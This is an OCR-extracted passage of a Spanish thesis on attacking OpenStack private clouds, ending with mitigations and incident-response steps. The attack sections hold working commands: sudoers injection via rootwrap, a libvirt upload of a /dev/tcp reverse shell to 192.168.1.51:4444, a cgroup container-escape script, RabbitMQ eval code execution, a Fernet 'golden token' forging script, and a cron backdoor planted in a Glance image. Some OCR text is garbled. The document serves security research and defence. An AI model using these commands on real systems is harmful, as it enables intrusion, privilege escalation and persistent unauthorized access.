# python3 cve-2017-18635.py >/dev/null 2>&1 &
[3] 26525
# []

Password

Figura 49: Cambio de contrasena a través de vulnerabilidades XSS y CSRF encadenadas

Tras acceder al enlace y observe el cambio de contrasena el usuario administrador
seguramente sospeche que ha sido victima de un ataque y revierta el cambio. El atacante
debera aprovechar esta ventana de tiempo para mantener su acceso en el sistema, por
ejemplo creando un nuevo usuario con rol de administrador.
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Hay que indicar que llevar a cabo este ataque durante una auditoria es delicado, ya que
al modificar la contrasena del administrador se denegard el acceso a la plataforma para
dicho usuario. Es por ello que si es posible se deberan intentar llevar a cabo antes otro tipo
de acciones, como tratar de anadir directamente un nuevo usuario administrador (si fuera
posible obtener el id del rol), o modificar el aspecto de la pagina mediante XSS para simular
una pantalla de login que envie las credenciales al atacante.

5.4. Acceso a la infraestructura

En este ultimo apartado se incluiran aquellos ataques que requieran acceso a servidores
de la infraestructura. Debido a que existen diferentes roles de servidores y a que ciertos
servicios se ejecutan en contenedores, se trataréd de un apartado mas heterogéneo.

Aunque se discutiran ciertos ataques que carezcan de sentido por si solos, se han incluido
como ejercicio de andlisis de algunos de los métodos de seguridad encontrados. Sera por
ejemplo el caso de la primera seccion, que tratara de escalado de privilegio en contenedores.
Para que esto resulte de utilidad, debera ser posible acceder a dicho contenedor y luego
poder escapar del mismo, lo que no siempre seréd posible.

Se discutiran dichos métodos igualmente, ya que aunque por si solos no resulten de
utilidad para el entorno analizado, si podran ser empleados en otros entornos diferentes, por
ejemplo en instalaciones de OpenStack de otros proveedores, para diferentes versiones de
OpenStack, o incluso para la misma version pero con un nivel de actualizaciones inferior.

5.4.1. Escalado de privilegio en contenedores

Tipicamente, en un servidor Linux existen diferentes métodos para escalar privilegios de
un usuario no privilegiado al usuario root. Uno de los mas habituales es mediante el uso de
sudo, que permite ejecutar ciertos comandos como administrador. En muchas ocasiones, una
mala configuracion puede provocar que se evadan las restricciones de las reglas definidas en
sudo y poder ejecutar asi cualquier comando como administrador.

En RDO / Red Hat OpenStack, muchos de los servicios que se ejecutan en contenedores lo
hacen con un usuario no privilegiado (nova, cinder, glance...), al que se le han proporcionado
ciertas reglas de sudo para ejecutar comandos como root. Sin embargo, estas distribuciones
de OpenStack introducen otro nivel de seguridad que permite definir comandos con mayor
granuralidad. Se trata de los rootwrappers |31].

El rootwrap es una utilidad incluida en las librerias oslo de Python empleadas en
OpenStack. Esta permite definir reglas de ejecucion de comandos més detalladas que
sudo, ya que permite por ejemplo definir comandos con argumentos en base a expresiones
regulares. De esta forma podria indicarse que un comando solo puede aplicarse a ficheros
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que se encuentren solo bajo ciertas rutas.

()[glance@overcloud-controller-0 /]$ sudo -1
Matching Defaults entries for glance on overcloud-controller-0:
setenv, !requiretty

User glance may run the following commands on overcloud-controller-0:
(root) NOPASSWD: /usr/local/bin/kolla_set_configs
(root) NOPASSWD: /usr/bin/glance-rootwrap /etc/glance/rootwrap.conf *
) [glance@overcloud-controller-0 /]$
Y[glance@overcloud-controller-@ /]$ head -nl5 /etc/glance/rootwrap.d/glance_cinder_store.filters
[# glance-rootwrap command filters for glance cinder store
# This file should be owned by (and only-writable by) the root user

[Filters]
# cinder store driver
disk_chown: RegExpFilter, chown, root, chown, \d+, /dev/(?!.*/\.\.).*

# os-brick
: CommandFilter, mount, root
blockdev: RegExpFilter, blockdev, root, blockdev, (--getsize64|--flushbufs), /dev/.*
tee: CommandFilter, tee, root
ir: CommandFilter, mkdir, root
: RegExpFilter, chown, root, chown root:root /etc/pstorage/clusters/(?!.*/\.\.).*
ip: CommandFilter, ip, root
: CommandFilter, dd, root
() [glance@overcloud-controller-@ /1%
()[glance@overcloud-controller-0 /]$ mkdir /root/test
mkdir: cannot create directory '/root/test': Permission denied
()[glance@overcloud-controller-@ /]$ sudo /usr/bin/glance-rootwrap /etc/glance/rootwrap.conf mkdir /root/test
()[glance@overcloud-controller-0 /]$

Figura 50: Ejecucion de comando con rootwrap

En la captura puede observarse que las reglas de sudo permiten la ejecucion del comando
glance-rootwrap con un fichero de configuracion. En dicho fichero se incluyen las reglas a
permitir, como las ubicadas bajo la ruta /etc/glance/rootwrap.d/glance_ cinder store.filters
mostrada en la imagen. Puede observarse la ejecucion del comando mkdir, que con el
rootwrap permite por ejemplo crear un directorio bajo la carpeta /root.

Aunque esta metodologia pueda parecer mas segura al ser més granular que sudo, existen
dos problemas de seguridad. En primer lugar que los ficheros de configuraciéon son legibles
por un usuario no privilegiado, con lo que el usuario puede saber qué comandos utilizar
para construir su método de escalada de privilegios. En segundo lugar, las reglas creadas
son muy genéricas en muchos casos, y permiten escalar privilegios de forma muy sencilla.

Con las reglas definidas para el servicio Glance existen diferentes métodos de escalada
de privilegios. A continuacién se muestran un ejemplo modificando el fichero sudoers con el
comando tee:

()[glance@overcloud-controller-0 /1% echo "skolla ALL=(ALL) NOPASSWD: ALL' | sudo /usr/bin/glance-rootwrap /etc/glance/rootwrap.conf tee -a /etc/sudoers
skolla ALL=(ALL) NOPASSWD: ALL
() [glance@overcloud-controller-® /]$ sudo -1
Matching Defaults entries for glance on overcloud-controller-0:
setenv, !'requiretty

User glance may run the following commands on overcloud-controller-0:

(root) NOPASSWD: /usr/local/bin/kolla_set configs
(root) NOPASSWD: /usr/bin/glance-rootwrap /etc/glance/rootwrap.conf *
(ALL) NOPASSWD: ALL

() [glance@overcloud-controller-@ /]$ sudo su -

Last login: Sat Dec 19 20:23:39 UTC 2020

() [rootcovercloud-controller-0 ~1# i

Figura 51: Escalado de privilegios mediante rootwrap

Un buen recurso para comprobar qué comandos pueden utilizarse para escalar privilegios
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es el listado GTFOBIns [32].

5.4.2. Salto SSH entre nodos de computo

Habiendo logrado acceso a un nodo de computo, es posible llegar a controlar el resto
de nodos de computo de la infraestructura. Esto es posible ya que para la migracion de
méaquinas virtuales entre diferentes hipervisores es necesario que se encuentre configurado
un acceso SSH mediante clave privada entre ambos nodos.

En versiones anteriores de OpenStack, era posible conectar directamente al SO principal
de otro nodo con la clave SSH utilizada para la migraciéon. Sin embargo en esta version el
proceso es mas complejo, ya que la clave privada no es valida para conectar por SSH al
SO principal, sino a otro servicio SSH en un puerto no estandar (2022) que se encuentra
corriendo en el contenedor nova_migration_ target.

Ademas, este acceso SSH esta limitado a una serie de comandos muy restrictivos: solo se
permiten ciertos comandos de manipulacion de ficheros en la ruta /var/lib/nova/instances/
(donde se encuentra el almacenamiento de las maquinas virtuales) y conectar al socket
de libvirtd, el demonio que se encarga de la gestion de las VMs. Este demonio realmente
se ejecuta en otro contenedor mova_libvirt, desde el que se comparte el socket al primer
contenedor.

Dadas estas limitaciones, se ha investigado la posibilidad de obtener ejecuciéon remota
de coédigo conectando tnicamente al demonio libvirtd mediante el cliente wvirsh. Se ha
determinado que efectivamente es posible utilizando dos funcionalidades: los volumenes
de almacenamiento para subir ficheros arbitrarios al sistema remoto, y la posibilidad de
ejecucion de scripts de las interfaces de red de una VM.

En libvirt, el almacenamiento de las VMs se implementa mediante pools y voliimenes.
Cada pool apunta a una ruta del sistema de ficheros y podra contener varios volimenes, que
son simples ficheros regulares. Debido a que el demonio de lzbvirt se ejecuta como root, es
posible leer /escribir cualquier fichero del SO objetivo como si fuera un volumen. Por ejemplo
para realizar una subida de un script se llevarian a cabo los siguientes pasos:

Creacion de un pool de almacenamiento apuntando a la ruta donde se desea subir el
script.

Definicién de un volumen apuntando al fichero de script que se desee generar.

Subida de contenido a dicho script.

Eliminacion de la definiciéon del pool creado.

Las creaciones de pools y voliimenes pueden realizarse directamente pasando una serie
de pardmetros con comandos tipo “(pool|vol)-create-as”, o proporcionando una definicion en
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XML con comandos tipo “(pool|vol)-create”. La creacion del volumen debe llevarse a cabo
usando el segundo método, ya que es la tnica forma de indicar los permisos con los que
se desea crear el fichero (sino por defecto se crea como 600). A continuaciéon se muestra un
ejemplo de XML de definicién de volumen para crear un script /tmp/revshell.sh con permisos

de ejecucion (disponible en el anexo [B.3)):

() [nova@overcloud-novacompute-8 /tmpl$ cat vol.xml
<volume type='file'>
<name>revshell.sh</name>
<key>/tmp/revshell.sh</key>
<capacity unit='bytes'=0</capacity=>
<target>
<path>/tmp/revshell.sh</path=>

<format type='raw'/>

<permissions=>
<mode>0755</mode>
<owner>0</owner=
<group=0</group=

</permissions=

</target>
</volume>

Figura 52: Ejemplo de XML para definicion de volumen de almacenamiento

Con esta definicion es posible llevar los pasos indicados anteriormente para subir al
servidor remoto un script que crearéd una shell reversa, tal y como se puede observar en
la siguiente imagen:

() [nova@overcloud-novacompute-0 /tmpl]$ virsh -c gemu+ssh://nova migration@overcloud-novacompute-1:2022/system?keyfile=/etc/nova/migration/identity
Welcome to virsh, the virtualization interactive terminal.

Type: ‘help' for help with commands
'quit' to quit

virsh # pool-create-as tmp dir --target /tmp
Pool tmp created

| @overcloud-novacompute-1:/
virsh # vol-create tmp /tmp/vol.xml

Vol revshell.sh created from /tmp/vol.xml () [root@overcloud-novacompute-1 /]# cat /tmp/revshell.sh

#!/bin/bash
virsh # vol-upload --pool tmp /tmp/revshell.sh /tmp/revshell.sh bash -1 >& /dev/tcp/192.168.1.51/4444 061 &
()[root@overcloud-novacompute-1 /1# l

virsh # pool-destroy tmp
Pool tmp destroyed

Figura 53: Subida de script con shell reversa mediante libvirt

Tras subir el script es posible ejecutar el mismo declarando un tag script en la definicion
de un interfaz de red de otro fichero XML que represente una méquina virtual. En la siguiente
captura puede observarse un XML de ejemplo con el contenido minimo necesario para su
ejecucion (disponible en el anexo [B.4)):
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() [nova@overcloud-novacompute-0 /tmpl$ cat dom.xml
<domain type='kvm'=>
<name>foo</name>

<05>
<type arch='x86 64'=hvm</type=>

</0s>

<memory unit='KiB'=1l</memory:>

<devices>
<interface type='ethernet'=>
<script path='/tmp/revshell.sh'/>
</interface>
</devices>
</domain=

Figura 54: Ejemplo de XML para definicion de VM que ejecute un script

Tras esto solo habria que crear una falsa maquina virtual con dicha definicién usando
el comando “create” de virsh. Esto ejecutara el script y proporcionara la shell reversa como
puede observarse en la siguiente captura:

() [nova@overcloud-novacompute-0 /tmp]$ virsh -c gemu+ssh://nova_migrat # ip addr show dev wlp2s0
ion@overcloud-novacompute-1:2022/system?keyfile=/etc/nova/migration/id 2: wlp2s0: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1508 qdisc nogqueue state UP
entity group default glen 1060
Welcome to virsh, the virtualization interactive terminal. link/ether 28:b2:bd:la:4a:fa brd ff:ff:ff:ff:ff:ff

inet 192.168.1.51/24 brd 192.168.1.255 scope global noprefixroute wlp2s0
Type: ‘'help' for help with commands valid 1ft forever preferred 1ft forever

'quit' to quit inet6 fe80::1397:e6b6:d83c:2186/64 scope link noprefixroute
valid_ forever preferred_lft forever

virsh # create /tmp/dom.xml # nc -nvlip 4444

Domain foo created from /tmp/dom.xml Listening on 0.0.0.0 4444

Connection received on 192.168.1.60 48362
virsh # destroy foo bash: no job control in this shell
Domain foo destroyed t 3 value for $TERM and no -T specified
] value for $TERM and no -T specified
virsh # I tput: value for $TERM and no -T specified
tput: No value for $TERM and no -T specified
() [root@overcloud-novacompute-1 /]#

Figura 55: Ejecucion de script y obtencion de shell reversa

De esta forma se ha podido obtener acceso al segundo nodo de computo, concretamente
dentro del contenedor nova_libvirt. Dado que este contenedor se ejecuta de forma
privilegiada es posible “escapar” al SO principal, tal y como se discutird en el siguiente
apartado.

5.4.3. Escape de contenedores

Existen diferentes técnicas para escapar del entorno aislado de un contenedor Docker.
Esto puede conseguirse mediante exploits de kernel, explotando configuraciones erréneas
(como exponer el socket del demonio de docker al contenedor) o aprovechando una
asignacion elevada de privilegios del contenedor.

En el analisis de la nube se han tratado de identificar configuraciones erroneas, validando
por ejemplo con la guia de seguridad de OWASP 33|, pero no se ha identificado ningun
fallo de seguridad relevante que permita realizar escapes de contenedores.
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Si se ha identificado sin embargo, que algunos de los contenedores se ejecutan en
modo privilegiado. Esto no puede considerarse realmente una configuracién errénea, ya
que algunos de los servicios (como libvirtd) requieren que el contenedor tenga ciertas
capacidades de administracion sobre el SO principal.

Simplemente se indicara al respecto que se ha podido verificar que es posible escapar
de estos contenedores privilegiados utilizando una técnica publicada por Felix Wilhelm en
Twitter y explicada en el blog Trail of Bits [34]. En la siguiente captura puede observarse
esta técnica (noétese que la salida muestra alguna inconsistencia ya que la conexion se ha
realizado mediante una shell reversa de la forma descrita en el anterior apartado):

() [root@overcloud-novacompute-1 /]# cat docker_escape.sh

cat docker_escape.sh

#!/bin/sh

d="dirname $(ls -x /s*/fs/c*/*/r* |head -nl)’

mkdir -p $d/w

echo 1 >$d/w/notify on_release

t="sed -n 's/.*\perdir=\([",]1*\).*/\1/p"' /etc/mtab’

touch /o

echo $t/c >3d/release_agent

echo "#!/bin/sh' >/c

echo "$1 >$t/o0" >>/c

chmod +x /c

sh -c "echo 0 >$d/w/cgroup.procs”

sleep 1

cat /o

()[root@overcloud-novacompute-1 /]# ls /root/.ssh/authorized keys

1s /root/.ssh/authorized_keys

1s: cannot access /root/.ssh/authorized keys: No such file or directory
() [root@overcloud-novacompute-1 /]# ./docker_escape.sh "cat /root/.ssh/authorized keys"

<te-1 /]# ./docker_escape.sh "cat /root/.ssh/authorized keys”
no-port-forwarding,no-agent-forwarding,no-X11-forwarding, command="echo 'Please login as the user
\"heat-admin\" rather than the user \"root\".';echo;sleep 18" ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAA
BAQDGOgh2xm70zLYprObF+ST/Q5tpP31AZ97y5ANXPWdiNOo6gmpWxM2go1PQJoFz1n29zdXjPCIiIG/MGpMRNWEBVUEGMES j
40z2V2E87BLObK7VKNLE9hSDjX111inyyMydRx0jdZ0Iqubn3/agbJOK6tgQ40v/IisV9dy3HPy6Rqs9FspswWlE+LNo4RZgj
rdNCC8euIpCV+HELKr0ihuPjgy75v7SR77TAlpd47uPAz fKfWLUhF5WmKN38sZQSFGNuEoiEZ531dicrOPI/E9MStBOI6TWeN2
mkS//TYKNOZSLKPh1lvGX21w0ov5Xr9o07FNxgsV5WzTq9IyMaVHn92N Generated by TripleO
no-port-forwarding,no-agent-forwarding,no-X11-forwarding,command="echo 'Please login as the user
\"heat-admin\" rather than the user \"root\".';echo;sleep 10" ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAA
BAQDKbsnNjvMkPAKHsMFbLulD1BxsacEWlw7QhJaVAI7oH7PrQWl4/LKZ9q0xXptnwF55jGrzNEFn8XJ+7ZjClrvkAHaspp59
M9pODOjy4F3DI7myimb5cpBAhABXh25079Tg/d2fiidTz00TrfMpGEGQOtdUV1D1lvWnNGQG36S4pSo9H44+g2RPgUbALio7NVC
TNOHT3YWDCySXi7iCw2xTasn+e@ntsmWHEZFUcWnqp7PcVH7i7h0Ub2xy2bsXILIQkitjps3Q2wSOHQODGIEYjstSxjSOYV02
c09FskKodSOt1D2ZPIMFUjOTjoRLphflyviQu/15BqeFOu838I09df stack@os-undercloud.tfm.local

Figura 56: Escape de contenedor de docker nova_libvirt

El script docker escape.sh es similar al publicado por Felix Wilhelm con
alguna correcciéon. Puede observarse que en el contenedor no existe el fichero
“/root/.ssh/authorized keys”, pero que mediante el script es posible obtener el contenido de
este fichero en el SO principal, fuera del contenedor. De esta forma podria anadirse una nueva
clave publica a este fichero, logrando asi un acceso directo al host overcloud-novacompute-1.

5.4.4. Ejecucion remota de c6digo mediante RabbitMQ

En primer lugar indicar que para este tipo de ataques es necesario disponer de la cookie
del gestor de colas RabbitMQ. Esta puede haber sido obtenida mediante diferentes técnicas,
como las indicadas en los apartados o[4.4.5 Dado que RabbitMQ solo esté a la escucha
en la red interna de APIs (en el nodo de control) y en la red de provision (en el undercloud),
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que deberian tratarse de redes aisladas, se considerara que este tipo de ataque requiere
acceso a la infraestructura, y podra emplearse para pivotar por ejemplo desde un nodo de
computo al nodo de control.

El ataque sera valido generalmente para los nodos de control y el nodo de undercloud.
En el caso de los nodos de control sera mas sencilla de obtener la cookie requerida, aunque
por otro lado al ejecutarse RabbitM(Q en un contenedor no privilegiado las acciones a llevar
a cabo serdn mas limitadas. En el caso del nodo de undercloud no parece que sea posible
obtener la misma sin haber logrado acceso al servidor, y ademaés seria necesario habilitar
una regla de FW que permita conectividad al servicio, con lo que esta técnica podra valer
como método de persistencia.

RabbitMQ permite su gestion mediante un cliente rabbitmqctl, que permite ser ejecutado
desde el equipo donde se encuentra RabbitM(Q en ejecucion, o desde alguno de los nodos
que puedan conformar un cluster de RabbitMQ. Esto es debido a que todos estos equipos
tienen almacenada una cookie de autenticacion en “/var/lib/rabbitmq/.erlang.cookie”, que
al ser enviada al servidor, éste permite realizar acciones de administracion.

Una de estas acciones es “eval”, que permite ejecutar cdédigo Erlang en el nodo donde
se ejecuta RabbitM(Q. Dado que Erlang dispone de un comando (os:cmd) para ejecutar
acciones en el SO, es posible utilizar el cliente de RabbitMQ para ejecutar comandos
arbitrarios en el servidor. Un ejemplo de ejecucion usando este método seria el siguiente:
rabbitmqctl eval 'os:emd("hostname”).’

[root@overcloud-novacompute-@ ~]# hostname

overcloud-novacompute-@

[root@overcloud-novacompute-0 ~]# cat /var/lib/rabbitmg/.erlang.cookie
TRjf9TsBzrf4AnRyeCWy

[root@overcloud-novacompute-@ ~]# rabbitmgctl -n rabbit@overcloud-controller-0 eval 'os:cmd("hostname").'
"overcloud-controller-0\n"

[root@overcloud-novacompute-@ ~]# rabbitmgctl -n rabbit@overcloud-controller-0 eval 'os:cmd("whoami").'
"rabbitmg\n"

Figura 57: Ejecucion remota de cdédigo mediante RabbitMQ en nodo de control desde nodo
de computo

En la imagen puede observarse la cookie ubicada en la ruta mencionada anteriormente
(ya que es donde la lee el cliente), y la ejecucion de los comandos “hostname” y “whoami”
en el nodo de control. En un sistema con varios nodos de control, esta técnica podria
emplearse también para ejecutar comandos desde uno de ellos hacia cualquiera de los otros
que conformen el cluster.

5.4.5. Golden token para Keystone

Esta es otra idea de persistencia para obtener un token de Keystone de administrador
que no caduque nunca. Se ha decidido darle el nombre de Golden token ya que la idea es
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similar a la obtencién de un Golden ticket en entornos Kerberos.

Para no tener que almacenar tokens en ninguna base de datos, Keystone genera unos
token usando un formato llamado Fernet [35] [36]. Cada token contiene datos del usuario,
proyecto y caducidad del mismo en formato MessagePack [37], cifrados y concatenados con
una funcion HMAC con una clave que solo Keystone conoce. De esta forma, Keystone solo
debe comprobar el HMAC y descifrar el token con la misma clave, asegurandose asi que se
trata de un token valido, y comprobar que la fecha de caducidad no haya expirado.

La obtencion de la clave de cifrado/firma de los token es un compromiso grave de
seguridad, ya que con la misma seria posible generar tokens arbitrarios (la clave puede
obtenerse por medios similares a la cookie de RabbitMQ indicada en el punto anterior).
Por ello OpenStack proporciona un mecanismo de rotado automaético de las claves Fernet,
aunque en la configuracion por defecto el rotado se encuentra deshabilitado. Ademas
ante un compromiso el administrador de la nube puede que modifique la contrasena de
administracion, pero que ignore el riesgo que implica el robo de las claves Fernet, con lo que
se considera que este mecanismo de persistencia puede ser efectivo.

Disponiendo de la clave y usando las librerias de Python para manejar los formatos Fernet
y MessagePack, ha sido posible manipular un token creado para el usuario administrador y
modificar éste para que su clave de expiracion sea de 10 anos en el futuro:

# cat create_golden_token.py
#!/usr/bin/python3

import msgpack
from cryptography.fernet import Fernet

token = b'gAAAAABTOR02DudfnHvP1CZTMDS67tFPZRK11KIa9PSZ UJk3CzkXRNTioqTNMRASipVQjCCErRTRQw4mPbLhLG6r9sqdR_-duxf-W
vuvBJo_BOuZ6I500P0J6adGwkFKtX82kPwY_a33_ IsZfG48QrGSNzDKQ58Z-HvxbJgIXHrG2QlvAUSRI7Q="

key = b'GN9jmo4IGY8WvwliI0zQC cuWdvKz231z1Lf3t10001M=

f = Fernet(key)

token_dec = f.decrypt(token)

original = msgpack.unpackb(token dec, raw=True)
new_date 1893456000.0 # Jan 01 2030
original[4] = new date

new_token = msgpack.packb(original)
new_token_enc = f.encrypt(new_token)
print(str(new_token_enc,encoding="'utf-8"))

#

# old_token='gAAAAABTORo2DudfnHvP1CZTMDS67tFPzRK11KIa9PSZ UJk3CzkXRNTioqTNMRASipVQjCCErRTRQw4mPblhL6r9sgdR_-dux
T-WvuvBJo_BOuZ6I500P0J6adGwkFKtX82kPwY_a33_IsZfGA8QrGSNzDKQ58Z-HvxbJgIXHrG2Q1vAUSRI7Q="

# curl -w "\n" -H "X-Auth-Token: $old token" http://192.168.110.23:8774/v2.1/servers/detail?all_tenants=True
{"error": {"message": "The request you have made requires authentication.", "code": 401, "title": "Unauthorized

#

# new_token="./create_golden_token.py"

# curl H nants=True
{"servers [{ " " -EXT- - 3 "fa e:64
:b9:5F" version": o "5 -EXT- YE ixed"}, {"0S-EXT-IPS-MAC:ma 3 6:3e
:64:h9: , "version": ddr": . . . o : "floating"}1}, "links"

Figura 58: Generacion de Golden token para Keystone modificando token existente

En la imagen puede observarse un script create golden token.py (disponible en
el anexo que utiliza un token existente y modifica su fecha de caducidad al 1
de enero de 2030. Posteriormente se puede observar como una peticiéon de listado de
instancias con el token antiguo devuelve un mensaje de error solicitando autenticacion,
mientras que con el token generado devuelve el listado en cuestion (truncado por legibilidad).
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5.4.6. Envenenamiento de imagenes

Una vez logrado acceso a la infraestructura, es posible acceder los archivos de imagen de
SO utilizados para crear nuevas instancias. Esto permitiria a un atacante disponer de una
puerta trasera por la que recuperar el acceso a la nube en caso que la via de entrada inicial
dejara de estar disponible.

En una configuracion por defecto, las imagenes estaran almacenadas en el contenedor
glance_api del nodo de control, bajo la ruta “/var/lib/glance /images”’. Bajo este directorio
se pueden encontrar varios ficheros, cuya nomenclatura coincidira con el UUID de la imagen
a la que correspondan.

Utilizando la utilidad guestfish o guestmount, es posible modificar el contenido de
dichas imégenes siguiendo un procedimiento similar al indicado en la documentacion de
OpenStack [38]. De esta forma seria posible anadir un nuevo usuario con una clave conocida
por el atacante, una nueva clave publica de confianza para el usuario root, una tarea
programada que contacte periddicamente con un servidor de Command and Control (C2),
etcétera.

Estas utilidades utilizan una méquina virtual para montar el disco, con lo que si se
quieren realizar cambios desde el propio nodo de control seré necesario arrancar el demonio
libvirtd, que aunque se encuentra instalado por defecto se encuentra detenido, ya que este
servicio solo deberia estar en ejecucion en los nodos de cémputo.

En la siguiente imagen puede observarse un ejemplo con la modificaciéon de una imagen
de Debian para anadir una nueva tarea de cron, la cual trata de generar cada minuto un
usuario perteneciente al grupo sudo:

[root@overcloud-controller-0 images]# pwd
/var/lib/glance/images
[root@overcloud-controller-0 images]# systemctl start libvirtd

[root@overcloud-controller-0 images]# export LIBGUESTFS BACKEND=direct
[root@overcloud-controller-0 images]# guestfish --rw -a f921d9ba-b909-4d25-88a3-f51cdcaa28bd

/dev/sdal: extd

* ok ok ok X root /bin/sh -c '/usr/sbin/useradd eviluser -g sudo -s /bin/bash -d /var/tmp
&& echo eviluser:eviluser | /usr/sbin/chpasswd’

[root@overcloud-controller-0 images]# I

Figura 59: Modificacion de imagen incluyendo script de cron malicioso

Realizando pruebas posteriores se ha podido comprobar que estas modificaciones no
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se reflejan en las nuevas instancias creadas. El motivo es que una vez un hipervisor lanza
una instancia con una imagen concreta, almacena dicha imagen en una caché propia que
mantiene por un tiempo indefinido. Las instancias utilizan ademés almacenamiento tipo
Copy-on-write, de forma que solo almacenan los cambios realizados sobre dicha imagen base.
Por ello no es buena idea alterar estas imégenes, ya que podrian corromperse las instancias
en ejecucion.

Por lo tanto este tipo de ataque seria valido tnicamente para las instancias que se
lancen en hipervisores que todavia no hayan cacheado esta imagen, y no se ha podido
comprobar cuéles podrian ser los efectos en caso de migraciones de maquinas virtuales
entre hipervisores que tengan diferentes copias para la misma imagen. Es por esto que no
se recomienda llevar a cabo el mismo durante una auditorfa, salvo que se pueda verificar
que se estd empleando una configuraciéon de almacenamiento de imégenes e instancias que
no provoque fallos.

Sin embargo, cabe la posibilidad de que un atacante que no tenga las mismas
consideraciones que un auditor en cuanto a integridad de la nube se refiere, haga uso de esta
técnica para obtener persistencia en el sistema. Es por esto que se considera que también
debe ser mencionada, para conocer asi la misma y poder detectar un ataque de este tipo.
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5.5. Secuencia de intrusion

A continuacion se presenta un diagrama con una posible secuencia de intrusion entre
los diferentes componentes de la nube, en base a los ataques presentados en los apartados
anteriores. Notese que no se incluyen actividades de reconocimiento ni de persistencia,
simplemente movimientos laterales. Las lineas discontinuas representan posibles ataques
que no se han podido llevar a cabo en este trabajo, pero que se deberan contemplar en otros
entornos que tengan una version diferente o pertenezcan a otro distribuidor:

Obtencion de secretos /
fuerza bruta de credenciales
Instancia ~ fe-----e-- |

GUIFAPL
{usuario
administrador)

XSS/CSRF

Otras
vulnerabilidades

GUIAPI
{usuario normal)

Vulnerabilidad de
escape de VM

Vulnerabilidad de RCE en

S5H con clave de
migracién de YMs

RCE mediante
RabbitMQ

servicio de OpenStack

Contenedor en
compute

Contenedor en

controller Host en compute

Y

Escapede —x
Escape de contenedor

contenedor

55H con clave de
migracion de VMs

Host de controller :

————————— » Undercloud "
Fuerza bruta de credenciales / Fuerza bruta de credenciales /
Otras vulnerabilidades Otras vulnerabilidades

Figura 60: Diagrama completo de intrusién en nube OpenStack

Desde una instancia sera posible llegar al sistema de gestion de la nube (siempre que
exista conectividad) mediante la obtencion de secretos a través de los metadatos [4.1.2]
o realizando fuerza bruta de credenciales contra dicho sistema. Habré que
contemplar también la existencia de posibles vulnerabilidades de gemu/kvm que permitan
escapar de la maquina virtual al sistema operativo del hipervisor .

Habiendo obtenido una credencial de usuario para el sistema de gestion sera posible
obtener otra credencial de administracion llevando a cabo un ataque de tipo XSS/CSRF
. Segun la version de la plataforma podréan existir también otras vulnerabilidades que
permitan escalar privilegios desde un usuario estandar a un usuario administrador.

Tanto con credenciales de usuario de nube como sin ellas, podra existir la posibilidad
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de que el nodo de control tenga alguna vulnerabilidad en alguno de sus servicios que
permita ejecuciéon remota de coédigo. En el entorno analizado no se ha encontrado ninguna
vulnerabilidad de este tipo, aunque si podré existir en otras versiones. En caso que fuera
posible obtener RCE en alguno de estos servicios, lo mas probable es que el proceso se esté
ejecutando dentro de un contenedor. Debido a la configuracion de los contenedores de los
servicios principales tampoco ha sido posible escapar de los mismos al host principal.

Si sera posible acceder a los nodos de computo aprovechando la conexiéon SSH utilizada
para la migracion de maquinas virtuales [5.4.2]. Esta conexiéon llevara a un contenedor
ejecutandose en modo privilegiado, desde el que seré posible escapar al SO principal .
Desde un nodo de computo también sera posible obtener los datos necesarios para obtener
ejecucion de codigo en el nodo de control a través de RabbitMQ , aunque de nuevo el
acceso logrado sera a un contenedor no privilegiado.

Para el acceso al undercloud sera necesario realizar fuerza bruta de credenciales SSH,
aprovechar posibles vulnerabilidades de RCE en los servicios de OpenStack (no presentes en
la version analizada) o explotar vulnerabilidades de otros servicios que se estén ejecutando
en dicho nodo como agentes de monitorizacion, backup, etcétera.



79

Seguridad en nubes privadas basadas en OpenStack

Capitulo 6. Conclusiones

6.1. Mitigaciones

A continuaciéon se proporcionara un listado de acciones recomendadas para prevenir o

mitigar posibles ataques como los descritos en este documento:

Evitar el uso de secretos en los metadatos de instancias. En caso que sea necesario
(por ejemplo para replicaciones de datos entre servidores de BD), se deberan utilizar
contrasenias unicas y nunca reutilizar aquellas que puedan corresponder a usuarios de
la nube.

Utilizar diferentes redes publicas para la conexion a APIs y para asignacion de IPs
flotantes de instancias. Limitar el trafico desde esta tultima para que no pueda accederse
a infraestructura interna.

Emplear una configuracion de voliimenes que no permita recuperar datos de anteriores
instancias en voltimenes de nueva creacion.

Evitar el uso de contrasenas predecibles para usuarios de la plataforma. Definir
requerimientos de complejidad y politicas de expiracion de contrasenas [39).

Definir reglas de rate-limit mediante iptables para la conexién a las APIs desde el
exterior, y evitar asi ataques de fuerza bruta.

Configurar endpoints de APIs para que solo sean accesibles mediante TLS. Utilizar
certificados generados por una CA de confianza para la empresa.

Comprobar periodicamente que no existen usuarios con rol admin aparte de los
administradores legitimos.

Incluir una politica de rotado de claves de token Fernet en configuracion de Keystone.

Anadir reglas de iptables en undercloud para que los nodos ya desplegados no puedan
conectar al servidor rsync (es recomendable consultar con el distribuidor si esto pudiera
ocasionar problemas, ya que no se ha podido verificar).

Evitar que la red de provision sea accesible de forma piiblica. En general mantener las
diferentes redes aisladas y solo permitir el acceso a aquellos servicios que deban ser
publicados, aunque se trate de una nube privada.

Mantener actualizada la infraestructura, especialmente cuando se publiquen
vulnerabilidades criticas en los servicios publicados.
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Ademés de todo esto, por supuesto se recomienda revisar con detenimiento las guias de
seguridad de OpenStack, tanto genérica [40] como especifica del fabricante (Red Hat en este
caso) [41], para comprender mejor la seguridad de la nube e implementar aquellos controles
de seguridad que sean relevantes.

En caso que la nube haya sido comprometida se recomienda llevar a cabo las siguientes

acciones, siempre que sean relevantes segtin el nivel de compromiso (no tendra sentido
modificar contrasenas de la infraestructura de OpenStack si el compromiso ha sido a nivel

de APIs/GUI):

= Modificar contrasenas de servicios de instancias.

= Modificar contrasenas de usuarios de OpenStack.

» Revisar nuevos usuarios creados.

= Revisar nuevas asignaciones de roles a usuarios existentes.

= Revisar creacion de nuevos grupos de seguridad o nuevas reglas de conectividad en
grupos ya existentes.

» En general revisar creaciones/modificaciones de recursos en las fechas que haya podido
ocurrir el compromiso.

= Comprobar que los pares de clave no han sido alterados.

» Revisar mecanismos de persistencia tipicos a nivel de infraestructura (nuevos usuarios,
tareas de cron, etc.)

» Modificar clave SSH para migraciéon de VMs.
= Modificar cookie de autenticacion de RabbitMQ).
» Rotar claves de cifrado/firma Fernet.

» Modificar contrasenas de servicios de OpenStack (de Keystone, de RabbitMQ y de
base de datos).

= En general revisar cambios de configuracién en estos servicios.

= Revisar fechas de modificacion de imégenes de Glance, tanto en nodo de control como
en nodos de computo.

